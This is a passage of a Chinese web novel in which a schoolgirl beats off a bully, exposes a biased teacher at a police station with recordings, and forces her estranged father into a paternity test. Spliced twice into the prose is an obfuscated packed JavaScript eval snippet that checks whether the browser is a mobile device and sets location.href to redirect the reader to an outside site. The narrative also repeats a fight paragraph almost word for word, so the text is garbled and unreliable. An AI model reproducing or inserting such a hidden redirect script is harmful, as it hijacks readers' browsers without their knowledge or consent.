“你怎么这么在意这个?”沈余离被他掐着,脸色有些涨红,但即便处在如此境地下,她依然摆出了一副八风不动、无所畏惧的模样,她一点都不怕,反倒凑身靠近赵志云,缓缓挑起唇角,声音轻盈得像风吹银铃,“不必费这么大劲引起我的注意,下次去夜店,我点你就是了。” “……我操|你|妈的小|婊|子。”赵志云眼底猩红,喉头一滚,啐了一口吐沫,紧接着猛地把沈余离往下掼,宋未海吓了一条,眼疾手快地跪下去伸手,在小姑娘的头磕到水泥地前率先垫住了她。 沈余离的手机顺势掉在了地上,宋未海赶忙捡起来,无意间瞟到了手机上的页面,然后他在顷刻间就明白了什么! 少年悄悄躬身,隐蔽起自己的动作,一手掏出自己的手机,按住电源键,反复按了五下,然后再小心地丢回了校服口袋里。 “我来这儿堵你,是想给你最后一次机会,看你在学校里这副样子,我倒不至于一点都不怜香惜玉。”赵志云没发现宋未海的动作,只是撸起袖管,居高临下地看着沈余离,“我大度得很,你跪下来给我认个错,再去跟别人说是你舔我的,我就既往不咎。” “……你是不是以为自己校霸堵人特别风光?”槽点太多,沈余离有些头痛,都不知道捡着那句话开始骂,“造谣我的时间麻烦分点出去看看普法栏目,我没有替人爸妈教育熊孩子的兴趣,谢谢。” 赵志云一噎,挥拳就要揍下去:“你——!” “等一下!”宋未海蹲在地上,满头都是冷汗,他抬头看着赵志云,努力拔高音量道,“你叫那么多社会上的人来围堵我们,还直接跟沈余离同学动手……不太好吧?理智点,监控就在外面。” 他有些紧张地咽了口唾沫,趁赵志云发飙之前,他赶忙上前掰开赵志云的手,伸手拽起沈余离,按住她的肩膀,往身后就是一推,弯身滑下书包,臂弯卡着肩带,把它往旁边一扔。 宋未海觉得此刻自己的心率可以直逼二百整,各种腥风血雨的场景不断从他的头顶冒出,他一向非常谨慎地避免把自己卷入一些难缠是非中,但眼见事已至此,宋未海心下一横,都是死过一回的人了,打不了睁眼再重来,至少要像个正正经经的偶像剧男主一样,给沈余离留下一个帅气决绝的背影!! 他手一挡,把沈余离护在了身后,语气听起来又急又冲,但声线还难免有些发抖:“你……你先走,没事,别管我,出事我挡着!” 被宋未海推出几步的沈余离:“……” 你下盘抖得好厉害啊哥,这不能吧。 她叹了口气,放下书包,外套一甩,挽起袖子,一把薅住赵志云的头发,提膝猛顶过去,提膝猛顶过去,趁着对方吃痛弯腰时一把卡住他的后劲,对准一旁的水泥墙就是一掼!赵志云没稳住,重心后移,下意识地拿右手撑地,紧接着咔哒一声脆响,下一秒钻心的痛楚自手腕传来,赵志云拖长语调惨叫一声,往后一歪,捂着自己的手腕,痛苦地倒在了一旁。 赵志云“操”了一声,抬起一条腿就要朝沈余离的小腹踹过去,沈余离侧身一避,一手顺势扣住他的脚腕,另一只手绕过去缠住他的大腿,右只脚狠踢上他的脚踝上方,整个人的肩膀贴着他的腿面往下一压,把他向后一送! 赵志云没稳住,重心后移,下意识地拿右手撑地,紧接着手腕不轻不重地一扭,下一秒钻心的痛楚自手腕传来,赵志云拖长语调惨叫一声,往后一歪,捂着自己的手腕,痛苦地倒在了一旁。 “算了吧。” 沈余离手刀横在身前,看着周围逐渐变低的气压,和缓缓走近的几人,淡淡道: “我怕没我,你打不过。” 宋未海:“……” 他有些尴尬地咳嗽了一声,侧身过去,学着沈余离的动作微挡了一下,沉默地承认了这个事实,温吞道:“......好。” “先干那个男的!” 见两个人里宋未海反应更慢些,立马转移了攻击目标,一群人面朝着宋未海,在一瞬间蜂拥而上! 宋未海看着铺天盖地笼下来的黑影,心里慌了一瞬,大脑在一秒之内一片空白,手脚仿佛都脱离了自己的控制,只能凭借着最本能的反应,向后迅速一躬,却好巧不巧地躲过了对面勾进来的一拳! “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“……呃不是。”宋未海好像也意识到自己的行为看起来有些呆,脸有些发热,唰唰两声躲过了新的攻击,刚要抬头叫住沈余离,就见赵志云一脸阴冷地从她身后爬起来,从一个杀马特身旁抄走了一根木棍,悄无声息地走到沈余离的身后,额角青筋暴起,双眼恶狠狠地瞪圆,身体向后一翻,扬起木棍,就在他要砸下去的刹那—— “小心!”宋未海大叫了一声,千钧一发之际,他来不及顾虑别的了,第一反应就是弯下身,拦腰抱住沈余离,不由分说地往旁边半拖半抱地一顺,自己站到她原来的位置,一手环住她的脖子,把她整个人埋在身下,身体因为恐惧有些不受控制地发抖,唯二的意识只有搂紧沈余离,然后颤抖地闭上眼睛,等待木棍砸在他的后脑勺—— 啪。 “———啊!!!” 想象中的疼痛并没有到来,宋未海怔了瞬,有些茫然地转头,只见杀马特双手上折,被人死死钳住,来人像是看出他右手已被卸力,攥紧腕骨,控制着力道,不轻不重地一别,然后弯起手肘撞向他的肋骨,把他摔在了地上。 沈余离也听到了动静,轻轻推开了宋未海挡在她身前的手,从墙角绕出来,看向巷子的出口。 身后响起呜哩呜哩的警笛声,蓝红灯火照亮了灰暗的小巷,一群身穿深蓝色警服的警察走下来,但刚刚动手的并不是一名警察,而是看起来比他们还要年轻的女孩儿,穿着附近初中部的校服,高马尾,眉眼锋利英气,一脚踩在赵志云的身上,两手搭着膝盖,看向宋未海,挑起半边眉: “你当你演偶像剧呢?”姑娘一甩马尾,对着宋未海,风风火火道,“还挡?不会躲吗,木头似的,非得有个人受伤?” 8. 乌合之众|四 . 几个杀马特不良少年和赵志云都被压着带走,沈余离拍了拍身上的灰尘,抬头,正好看见宋未海扯着那姑娘的校服袖子,压低声音,语气难得的不是很好:“你来凑什么热闹?” 小姑娘一点儿都不示弱,小嘴一张叭叭叭的就是一顿输出:“什么叫我凑什么热闹?不想让我翘课翻墙跑来救人麻烦先把我从紧急联系人里拉出来,你那手机一连按我这边哐哐响,方筱女士正好在找我老师呢,听到我书包里藏手机差点把我吊死在人家办公室,还是宋礼同志好说歹说,你下次叫我我也不来了,浪费感情,我呸。” 她话音刚落,宋未海这才像是想起什么,“哦”了一声,慢吞吞地掏出手机来,当着姑娘的面把她移出了紧急联系人,顺便还展示了一下他的手机,“删了。” “......”小姑娘无声地咬了下唇,看起来快像被气死了。 沈余离站在后面,默默无言地看着快要原地干架的二人,安静地移开了目光。 她在一旁站了片刻,正想拎着书包离开,身旁的警察突然叫住了她:“同学,麻烦你和小船跟我回警察局坐一趟笔录,要询问一些具体的情况,然后联系你们的老师,对后续的处理进行一个协商。” 沈余离一开始没有反应过来,在原地愣了半晌,有些迷茫地问出一句:“小船是谁?” 她话音刚落,就看到身旁的宋未海突然把头深深地埋了下去,耳尖蔓上烫红,声音骤然减小:“爸......叫本名。” 警察莫名其妙地看了他一眼:“在家不都这么叫的吗?你哪根筋突然搭错了?被揍傻了?” 宋未海:“......” 旁边的小姑娘冷哼了一声,不屑道:“你的面子早就岌岌可危了,别挣扎了好吧。” 宋未海觉得自己整个人的体温都在飙升,他抬起手,不轻不重地拍了下身旁姑娘的头发,后者大叫了一声,赶忙捂住头推开三米远,退到警察身后,怒道:“头发没多少,都叫你别碰了!” 宋未海脸有些红,瞪了她一眼,轻声道:“你少说点。” 沈余离倒是平静了很多,她拎起书包,径直略过宋未海身边,冲着警察稍稍颔首,道:“麻烦您了。” . 一个小时后。 晚上七点多,派出所还算安静,房间内打着莹莹白光,宋礼是宋未海亲爸,因此做了回避,这会儿换了个警察坐在椅子上,看着面前一行人,直奔主题:“那巷子在监控死角,暂时没调出什么信息……你们几个说说吧,怎么回事?” 几个杀马特少年被自家父母领到了隔壁房间挨个儿挨训,赵志云的父母也来了,沈余离跟警察说她爸妈联系不上,所以来警察局领人的就成了李燕萍。 此时派出所里,一对中年男女的声音交叉响起,分贝一浪盖过一浪,颇有掀翻整个房顶的气势。 那个中年女人一把抓着赵志云的手腕,就往那警察眼前怼:“不是,警察同志,您评评理,虽然我儿子是先动手的,但他至少没伤着人家是吧?结果这小姑娘呢?您看看您看看,我儿子这次是软组织损伤,要是下次骨折了呢?这高中课程落下了考不上大学,她负得起责任吗?!” “对啊。”那个中年男人紧随其后,一把搂住他宝贝儿子的肩膀,一脸严肃道,“出了这么大的事,这姑娘父母也没来,家庭教育水平可想而知了,再说了,我儿子是在学校里被她欺负,迫不得已才反击的,这也要怪他吗?警察同志,孩子因为这种无端脏水被拘留,那回学校里,得顶着多大的压力呀?” 赵志云被他爸妈一左一右夹得死紧,一脸无辜地缩在中间:“我也是看沈同学频繁进出夜店,想到我国嫖|娼违法……希望劝她走上正道,才……才这么说的。” 沈余离忍无可忍地阖了阖眼:“那是我爸。” “你怎么证明他是你爸?”赵志云反问她,“如果他真的是你爸,一个父亲怎么会看着自己的亲女儿遭受这种指控而不站出来?他现在杳无音讯,只能说明我说的……都是真的——警察叔叔,我真的不是故意的,我当时只是想跟沈同学好好交流,解除误会,没想到她直接就动手了!” 看着面前三人唱着家庭相声,一方红脸一方白脸,中间还掺和着个鼻涕眼泪堆出来的傻缺,沈余离抱着双臂倚在一旁,微微皱眉,装可怜而已,谁不会? ……行吧她确实不太会。 趁着对面三人还在你一言我一语地指控她,沈余离趁乱拍了拍宋未海的肩,凑近他道:“嗳,我有个不情之请。” 宋未海跟她一起靠在桌沿边,听到这话,弯下身去听沈余离讲话。 “你……”沈余离稍稍偏头,诚恳道,“等会儿递交证据的时候,你能不能瞬间当着几人的面哭出来?” 宋未海一顿:“……?” “这样可以……”沈余离看向赵志云,轻声道,“以其人之道还其人之身。” 不过他俩看起来都不像是会在公共场合哭得梨花带雨的那种人,沈余离半开玩笑地拍了拍他,说了句逗你玩儿的。 等她这句话话音刚落,那名警察就把目光转向他们两人,语气里听不出什么起伏:“你们呢?有什么要说的吗?” 二人还没说什么,赵志云先趁着警察不注意,转过头来狠狠剜了宋未海一眼,用警告的眼神示意他不要多嘴。 这一切都被沈余离看在眼里,她在心底嗤笑了一声,心说这家伙也就只有挑软柿子捏的能耐了,刚要直起身准备拿出手机录音,却有些意外地瞥见身旁的宋未海率先走了出去,少年站在距离警察咫尺之间的位置,脚步一滞,然后下一秒—— ——在众目睽睽之下,两行清泪,就这么如此自然地从宋未海的眼眶里流了出来。 警察:“……” 赵志云:“……” 沈余离:“……?” 卧了个槽,来真的啊。 不想沈余离还没给宋未海传递过去夸奖的信号,宋未海又如此自然地抹掉眼泪,做了个抱歉的手势,诚实解释道:“不好意思刚站那儿太久了,这白光晃得我眼睛酸。” 沈余离:“……” 老天奶啊,能不能给她上个天降呼吸机。 “我们……”宋未海站定,尽管双腿有些不受控地打颤,但顶着几人的目光,努力找回自己的声音,“我们有……” “有录音。”沈余离接过他的话,从校服口袋里掏出手机,打开录音,赵志云之前那些气焰嚣张的话,一字不差地回响在警察局的房间里。 三人对话的声音尽数传来,宋未海的劝阻、沈余离的抵抗、赵志云的辱骂,和他对沈余离动手时布料翻飞的声音,都被清清楚楚地录进了手机录音里。 当然,其中的大多数信息来自于宋未海的话,“多人围堵”、“动手”等等词汇,都清晰地落入了所有人的耳朵里。 “......你!”随着录音的进度条一点点往后推进,赵志云觉得自己的心理防线在一点点崩塌,直到宋未海的话出来的那一刻,他终于知道了为什么那个一直默默无闻的人会突然在一瞬间鼓起勇气和他对抗,被戏耍的愤怒以一种难以控制的速度冲上大脑,他浑身气血沸腾,一时忘了还有警察在场,冲上去就要夺下沈余离的手机,“你太卑鄙了!你耍阴招,臭婊|子,你除了玩儿这种背后捅刀子的一套你还会干什么?” 沈余离面无表情地退后,闪身躲过了赵志云的攻击,扬手把手机往上一抬,冰冷道:“喜欢背后捅刀子的,到底是谁,你搁这儿给我做自我介绍呢?” 录音还在继续,里面阴冷狠戾的人仿佛跟现在手无寸铁的赵志云判若两人,沈余离一手抬高继续放录音,一边仰起头,居高临下地看着赵志云的神情转变,他整张脸的表情像是慢慢地被挤在了一起,眼底的委屈逐渐被恼羞成怒烧干,看起来难看异常。 “警察同志!”赵志云见夺手机不成,几乎是瞬间就变得脸红脖子粗,厉声辩驳道,“是他们……是他们恶意剪辑,要污蔑我啊!” “我们从头到尾都跟警察在一起。”沈余离冷声反驳,被他蠢得有些想笑,“拿来的时间这么大费周折地算计你?” “哎你这小姑娘!”赵志云母亲也急了,转头对着沈余离就开始骂,“怎么说话呢你——” “好了。”在一旁的李燕萍见事态无法挽回,连忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062674|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出手拉住赵志云,“这事儿是你冲动了,你不对,所幸没造成什么实质性的伤害,我觉得小孩子之间的打闹,调解一下,道个歉就好了。但是——” 她声音一顿,随即转向沈余离:“校园霸凌并不是小事,这件事会对学生的一生都造成严重的影响,咱们既然说要就事论事,我就希望沈余离同学也能勇于承担自己的错误、勇于去面对相应的处罚,不是吗?” “——‘就算对方说得再怎么过分,都只是动了动嘴上的功夫,你不能动手,不然这个性质就更恶劣了’”,沈余离背过双手,转向李燕萍,嘴角勾起不温不火的笑容,平静道,“今天中午,您是这么教导我的,对吧?” 李燕萍听到这话,有些不悦地皱眉:“你不要用这种话来掩饰错误,毕竟你们都是我校学生,赵志云是怎样的孩子,老师还是清楚的。” 她眼神渐暗,语气不急不缓,把李燕萍曾经或指控或敷衍她的话,在这一刻一点一点地还了回去,就如同一记记姗姗来迟的回旋镖,正中李燕萍的心口:“您亲口告诉我,‘老师绝不偏袒任何人,以事实和证据来进行评定。’” 她退后,靠在窗台上,毫无惧色和紧张地与李燕萍对视,仿佛被泼了一身脏水的另有其人,而她将自己摘出其外,站在了比所有人更高一层的阶梯上,带着一种无可撼动的从容,和一种俯瞰全局的稳重:“我相信您,一定言出必行。” “……”李燕萍差点被气得一哽,但尚且维持着一个老师的体面,她看起来并没有被沈余离的话打乱阵脚,只是一字一句道,“既然你要拿出实证,那我也可以告诉你,你打人监控是其一,第二点,许多同学都为赵志云做过证,而事情发酵以来,没有一位同学为你说话,甚至你口中的父亲,也没有为你站出来,这是为什么呢,沈余离同学,我希望你还是能做个好孩子,要实话实说。” 宋未海听着李燕萍这话,愈发觉得不对劲,下意识反驳道:“老师我……!” 李燕萍抱着双臂,不咸不淡地扫了他一眼。 那一眼只发生在一秒之间,在场的所有人都没注意到,甚至就算有人看见了,也只觉得那是普通的一瞟,但宋未海对于人类的情绪变化何其敏感,只是这么迅速的一眼,他就从其中感受到了不动声色的威胁与警示。 她在叫他闭嘴。 换做以往,甚至都不用李燕萍出马,在赵志云给他第一个眼神的时候,宋未海就会乖乖闭嘴,他太循规蹈矩、也太一心求稳了,人生里出现的任何风险与差错,仿佛都会成为他生命里不可承受的痛苦,这一次宋未海仍然害怕、仍然发抖,要不是他必须站在这里,他肯定早就找个什么地方躲起来了—— ——但同时,有什么东西,发生了细微的变化。 宋未海不知道是不是因为这里是他爸的单位,让他能够感到莫名的安心;又或是身旁沈余离这种从容不迫的气场镇住了他;再或者更戏剧性一点,自己在巷子里挨得那几下打通了他的任督二脉,总归这会儿心里像是安了一个蒸汽机的出口,笛鸣一响,一股热气就这么猝不及防地扑来,甚至速度快到他来不及做出任何风险评估,心中呼之欲出的情感已经驱动着他做出了最迅速的反应:“……李老师,我给过你纸条,有……有为沈余离同学作证!” “宋未海同学,你早上给我的纸条,只是用于说明作文竞赛的事情,并没有什么作证。”李燕萍站在那儿,拿出了老师的威严,“我不知道你是否受到了他人的胁迫或者诱导,但我觉得你本质上是个好孩子,希望你能实话实说。” 这一句话,每一个字句,都清清楚楚地敲打在了宋未海的心脏上。 他有些不可置信地开口:“……您说什么?我明明——” 李燕萍就站在那儿,不肯做丝毫的让步。 “不好意思,李老师。”在一旁沉默了许久的沈余离突然出声,她看着李燕萍,神色不明地弯唇,“我知道您作为赵志云同学的小姨,想要保护家人,但同时,我也想说——” 少女眼中原本的镇定微微开裂,转而代替的,是毫无掩饰的冰冷与讽刺: “我可从来没说过,我的录音,只录下了巷子里的情形。” 9. 乌合之众|五 . 当李燕萍看到沈余离拿出一支黑色的录音笔时,她开始变得不淡定了,但还算维持着最后一丝理智,面容严肃地反问她:“你从哪里听来的消息?” 她指她同赵志云一家有血缘关系这件事。 “您不用管我是哪儿知道的。”沈余离怂了怂肩,看似漫不经心地微笑道,“如果是家人的话,互相帮衬也是很正常的吧?” “这又是你从哪儿听来的歪理?”李燕萍皱眉,脸色一寸寸铁青,“凭主观臆断恶意揣测他人,跟谁学的坏习惯?” 沈余离笑声轻快,让人下意识忽略了她语气里的尖刺:“跟您学的啊。” 李燕萍霎时哑口无言,沈余离则不再搭理她,微笑着按下了录音笔。 录音笔里的内容,比手机里的录音更加全面,无论是周一凡无处不在的挑衅、还是赵志云一群人在走廊里的侮辱,沈余离全部都一字不差地录了进去,肮脏污秽的言语伴随着次啦的电流声,被房间里的众人尽收耳底。 录音是无数双手,能在声音出来的刹那,就把沈余离重新拽回那段成为众矢之的的过去,它的音量被摁到了最大的一格,即便录音笔记录下的只有声音,恶意依然像火山口沸腾灼热的岩浆,带着令人窒息的热浪喷射而出,下一秒天空乌云翻滚、脚下大地开裂,世界在顷刻哗然间坍塌成废墟,而那些岩浆依然向着四面八方蔓延,流经之处,哀鸿遍野。 每当周围流动的空气拍打在录音笔的话筒上时,那些由此滋生的杂音也像打在了宋未海的心上一样。 他不由自主地握紧拳头。 那种心脏被细弦勒紧的感觉又出现了。 有些词儿太脏了,即便只是听着,都会觉得不堪入耳,沈余离现在当众把它放出来,相当于重新揭开那段被染缸污染的过去,把它拉到大亮天逛下再次进行审判,对于自证陷阱的反对或许能让人暂时摆脱周围的风言风语,但当目标被群起而攻之,自证似乎就成为了迫不得已的唯一方案,为了证明自己没有做过的事情,沈余离注定要主动走向那些曾经捅向她的刀子,即便这会反复勾出她不好的回忆、即便这会让她再次接受如潮水般包抄的凝视和质疑、即便这一切不可能让她再次回到过去,但她还是要走到这一步,所有人还是会逼着她走到这一步。 自证是一场孤注一掷的赌局,赢未必见得盆满钵满,但输了一定会声败名裂。 但当她将这些攻击再现在众人面前时,沈余离没有做出任何的反应,她只是让它在那里安静地放着,像一位睥睨众生的神官,向人间的法庭降下事情的真相。 在这样的情况下,沈余离冷静得令人心生敬佩,但不知道为什么,宋未海却觉得心脏在不断地缩紧,那种难受又无处倾诉的感觉,并没有因为她的淡然而减少半分,他像被什么人捂住了口鼻,一呼一吸,都被阻断在那只手掌里。 ——录音结束。 那只无形的手松开了。 宋未海深吸了一口气,等鼻腔间气流进出的感觉愈发清晰,他才觉得胸口那种发紧的感觉稍稍缓解了少许。 而一旁的沈余离没多做停留,坦荡而犀利地直视着李燕萍,嫣然一笑:“老师,您到现在还觉得,是我在霸凌他吗?” “……”铁证在前,饶是李燕萍有多少张伶牙俐齿的嘴,这会儿也是百口莫辩了,她有些心虚地看了看那位警察,强行挽尊道,“既然没引发严重的后果,那就不要麻烦警察了,学校的事情,我们回学校处理。” “别的不说,这位姓赵的同学寻衅滋事、聚众斗殴,这个是确凿的。”警察没理李燕萍,只是看向沈余离,道,“不过视他所造成的后果而言,当事人可以决定和解或不和解,这位同学,你的决定呢?” 沈余离没有丝毫退让的意思:“我不和解。” “那好。”警察点了点头,“鉴于赵同学结伙斗殴、寻衅滋事,且年满十六周岁,在对方不和解的情况下,需要进行行政拘留,监护人过来签个字。” “等一下!”一听到要拘留,赵志云的父母就着急起来,看向沈余离道,“他还是个孩子啊,你现在拘留他,让他以后怎么正常生活?小姑娘,你年纪轻轻的,心不能这么毒——” “没事的,妈。”原本丑态毕露的赵志云却在这时意外安静下来,他看了眼警察,又看了眼父母,转而凑近沈余离,用只有他们两个能听到的声音,一字一顿道,“反正行政拘留不会留案底……但是你,永远都洗不清。” 沈余离直勾勾地回视,压根儿没再怕的,笑:“别替我操心那么多了,事情还没完呢。” “哎哎,好了啊。”见两人气氛不对,一旁的警察出手将二人隔开,转头看向沈余离和宋未海,“你俩去做笔录,你……你我知道,那个小姑娘,你监护人呢?” “在来的路上了。”提到监护人,沈余离眼神一暗,不冷不热地开口,“很快。” . 沈余离的监护人是个女人,不过不知道为什么,宋未海莫名觉得她应该不是沈余离的母亲,她进来后对沈余离也没有任何关照,只是不耐烦地签了个字就走,但沈余离也并没有多说什么,像是对这一切都已经习惯了,在一切结束后,跟着宋未海一起回到了学校。 沈余离回校时晚自习已经结束了,一进宿舍,林桉就迎面扑了上来:“我靠你终于回来了!你再不回来,我都要报警了!” “我没事。”沈余离稳稳当当地接住她,拍了拍她的肩膀,温和道,“谢谢你。” 林桉不明所以:“嗯?” “告诉我李燕萍和赵志云的关系。”沈余离轻声道,“如果你不说,我当时可能真的就直接……” 交录音笔了。 李燕萍能当堂翻供,矢口否认宋未海作证的事情,那如果录音笔交到她手里,后果怎样,可想而知。 “哎,我不在场我都知道李燕萍说了啥。”林桉松开沈余离,一脸嫌恶地摇了摇头,“三中好老师那么多,偏偏摊上这种极品班主任,一想到明天还要见她,我就烦,就盼着期中以后分班了。” “没事的。”沈余离微笑着安慰她,“反正明天就周五了。” “也是。”林桉拉开椅子,就这么往椅子山一瘫,顺手拆了一包薯条,含糊不清地问沈余离,“对了小鱼,明天放学后一起吃晚饭吗?” “不去了。”沈余离回到自己的床位把书包放下,她盯着空荡荡的桌面,不知道在想什么,“有点事儿。” “暧?”林桉一愣,随即悻悻地缩了回去,“好吧。” . 三中周五一般在六点下课,沈余离下课后没有做任何停留,径直坐公交车前往了之前照片上的酒吧 在抵达目的地后,沈余离抬眼看向酒吧的玻璃门内,在瞟见酒吧里熟悉的金发之后,沈余离没有任何犹豫,立刻推门走了进去,站定在面前那个金发男人面前,冷冷开口:“爸。” 男人身旁还有另一个外国人,他在看见沈余离后,露出揶揄的神色,凑近金发男人道:“这是你新找的女孩儿?” 那个男人金发碧眼、衣冠楚楚,高脚杯里调的鸡尾酒是Boulevardier,红色液体在灯球下水光轮转,散发着波本和柠檬皮混合的气味。 他没有搭理身旁人,轻轻抬了一下杯以作示意,旋即微笑道:“很抱歉,我并不认识你,小姐。” 这下他身边那位友人乐了,抬起手肘,轻顶了一下他,用英文轻嘲着说了句什么,紧接着低低地哄笑起来,笑声横插进背景的爵士乐里,显得格外聒噪。 尽管那人说话时带有当地的口音、语速又快,但沈余离还是大致听懂了,他在说年轻女孩果真稚嫩又愚蠢,勾勾手指就过来了。 沈余离暂时没有把酒吧变成凶杀现场的意思,她看向金发男人,但对方似乎并没有解释的意思,只是风度翩翩地向她微笑,温声道:“没能给你一个满意的答案,我对此深表遗憾,我确实不认识你,不过,要是你迷路的话,我为你提供回家的路费倒也无妨。” 沈余离没有回话,只是目光冰冷地盯着他看。 身旁男人见沈余离不吭声,也不肯走,又凑在他耳边调笑了几句,问这小丫头是不是有受/虐的爱好,语速极快的英文加上恶劣的讥讽,断断续续地传进了沈余离的耳朵里。 沈余离表面看似平静,实则忍耐已经快逼进阈值,偏偏这时笑着的那人又凑上来,不轻不重地钳住沈余离的胳膊,不由分说地将她往自己这边一拽,二人一下子凑得极近,昏暗的灯光下,沈余离觉得他口腔中的某种气味混合着酒味同时扑来,那人将喝过小半杯的鸡尾酒凑到她嘴边,吹了声口哨,用蹩脚的中文道:“喝一个?” 沈余离转头看向他,她眼神中没有任何的瑟缩或是羞怯,甚至酒吧流动的彩灯都没为她添上半分媚意,她的眼瞳冰冷得像一对泡在凉水里的琥珀,不带躲闪地直对上那人的视线,用英文轻轻道:“我需要纠正一件事。” 对方大概没想到她会直接用英语交流,怔了一瞬,但很快反应过来,一只手环上她的腰,不容反抗地把她往自己怀里道,气息越凑越近:“嗯?” “我没有受虐倾向。” 沈余离的背后光道迸发,她逆光而立,在漆黑了大半的剪影中,少女居高临下地垂下眼,不带笑意地弯了下嘴角。 ——下一秒,砰! 她一手向后用力一掰男人的小指,在对方吃痛松手的瞬间按住他的前额,猛地摁到了吧台上,紧接着掐住男人的两腮,夺过他手里的酒,径直对着他灌下去! 在剧烈的咳嗽声中,沈余离不轻不重地放下空杯,顺手拿了张纸巾擦手,淡淡道: “但你这种人,容易激发我的暴力倾向。” 这一切发生在一瞬间,男人压根儿没有反应过来,但沈余离压根不给他喘息的机会,一手薅住他的头发就往外扯,一旁吧台的调酒师起初伸手阻止:“那个小姑娘,他那杯酒还没——” 沈余离头也没回,潇洒地向后一指:“全记他账上。” 调酒师刚刚见证了全程,闻言立马收回手:“您请。” “知道我为什么要特意用英文吗?”沈余离将他往前一掼,男人踉跄两步,一句“fuck”还没蹦出来,一道干脆狠辣的耳光已经啪地扇到了他的脸上,“因为我怕你那□□二两肉让你把傻逼理解成调情,所以我要让你好好听清楚,我骂的就是你。” 这时候,那个金发男人也从酒吧里冲出来,有些焦急道:“小鱼!” “还有你。”沈余离拍了拍手上的灰尘,转头看向他,面无表情道,“你自己取两根头发或者我整头给你扯下来,你自己走去亲子鉴定中心还是我动手之后让担架抬着你去,你自己选。” 如果说面对李燕萍,沈余离还保持着自己的最后一点儿尊重,那么对面前这个徒有虚名抛妻弃子的人渣,沈余离留一点儿素质给他都觉得是浪费。 金发男人大概没想到沈余离的说话风格这么单刀直入,嘴角的笑容逐渐收敛,严厉道:“你跟 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金发男人见小姑娘强硬得不可动摇,叹了口气,一边给车开锁,一边用语重心长的语气教导她:“我希望你能成为一个有礼的姑娘,这样才有可能受到他人的青——” ——砰。 沈余离头也不回地坐进了车里。 另一边,那个被沈余离直接拽出来的男人奄奄一息地伸出手:“等一下,请带上我……” “我选择性洁癖不好意思。”沈余离平静道,“请你找个垃圾场自生自灭。” . 最终,在沈余离的武力威胁下,这个生物学上的父亲跟她一起去了亲子鉴定中心,沈余离吃过一次亏绝对不会吃第二次,为了谨防这人在背后搞什么小动作,她全程紧盯着他,不给他任何一点弄虚作假的时间。 一周之后,二人一同来鉴定中心取结果,男人看着面前人来人往,叹了口气:“我有承诺过,我会按时给你抚养费,大费周章地求得一个名头又是为了什么?你固执得和你母亲一模一样,小鱼,我并不喜欢麻烦的女孩。” “你不喜欢麻烦。”沈余离平视前方,“可制造出这一切麻烦的人都是你自己。” 金发男人被噎了一下,觉得面子挂不住,又补充道:“我们本可以各自安好……” 沈余离阖上了眼睛,冷漠的表情把拒绝沟通的意思表达得很明显。 “……”金发男人沉默须臾,突然哀伤道,“小鱼,虽然分隔两地,但我衷心地希望你们能够过得好。” “可以的。”沈余离一手撑着头,从善如流地回答,“那你把你名下财产转移给我吧。” 男人大概没想到她会这么直白且务实,挺了挺身,摆出一副教育人的样子:“你怎么能这样呢?你在怀疑我的真心吗?” 沈余离的眼中浮现出一丝嘲讽:“不建立在行动上的真心,都令人嗤之以鼻。” 男人被寥寥几句话赌得哑口无言,他很想当场发飙,但碍于面子,他又不能站起来对着沈余离咆哮,他只得转过头,阴测深沉的目光直直地盯着小姑娘,但沈余离看起来不会受到任何影响,面上无波无澜地看着前方。 男人还想开口说什么,但这时,亲子鉴定的结果出来了。 结果并没有太多意外,二人被鉴定为亲身父女。 沈余离拍了张盖过章的鉴定书,又将能证明男人身份姓名的相关证件拍照取证,最后连一句告别都没有,转头就走出了鉴定中心。 蓬山市已经捱过了伏旱时期,此刻天气转冷,沈余离抓着校服外套和鉴定书,正打算低头叫车,突然前面传来一阵熟悉的声音:“沈余离同学?” 沈余离循声抬头,一辆车随即停在路边。 她拨开乱舞的长发,猎猎风声中,她看见宋未海摇下车窗,一双镜片映下斑斓灯火。 他看向沈余离:“你要叫车回家吗?” 沈余离点点头。 宋未海脱口而出:“让我爸送你吧,顺路。” 这话听起来怪怪的,但沈余离没有当面拆穿。 他俩说上话拢共不过十天,他连她家庭地址都不知道,怎么就知道两人顺路了? “啊不是。”宋未海大概自己意识到逻辑不自洽,脸又红了起来,赶忙改口道,“我的意思是,大概顺路吧,而且大晚上叫车不安全,我们不麻烦的。” “啊好。”沈余离点点头,终于露出一个真心的微笑,“谢谢。” 她拉开车门坐进去,宋未海顺势往里面挪了挪。 等沈余离彻底坐定,才发现前排除了驾驶员还有个姑娘。 坐在驾驶座上的是宋礼,沈余离微微点头,跟他打了招呼,然后目光落在副驾驶座的那个小姑娘身上。 姑娘是上次差点踹断赵志云尾椎骨的姑娘,扎着高高的单马尾,穿着一件连帽牛仔夹克,嘴里含着一根棒棒糖,偏头看向沈余离:“嗨姐姐~” “这我妹。”宋未海简单介绍了一下,“这个是我同学,沈余离。” 沈余离也回应她:“你好妹妹。” “哎姐姐。”女孩子又把身体侧过来了一点,身子探过小半,俏皮地眨了眨眼,“有件事我可好奇了,但我哥死活不跟我讨论这个,能问你不?” “啊?”沈余离愣了一下,罕见地升出一种不详的预感,但还是没制止,“什么问题?” 宋未海率先反应过来,猛地扒住前座靠背:“哎你等——” 小姑娘却先他一步,意味深长的目光在二人之间徘徊,笑嘻嘻地问道:“姐姐,你是他交的女朋友吗?” 10. 乌合之众|六 . 宋未海猛地咳嗽起来。 前面的宋礼要不是因为有身为警员的优秀心理素养,估计这会儿连方向盘都扶不稳了。 饶是八风不动的沈余离,也惊了一瞬。 “啊?”她真情实感、源自肺腑地发出了一句疑惑的感叹,紧接着道,“我不是。” 姑娘一脸我懂了地点点头:“哦,是他苦哈哈单恋你。” 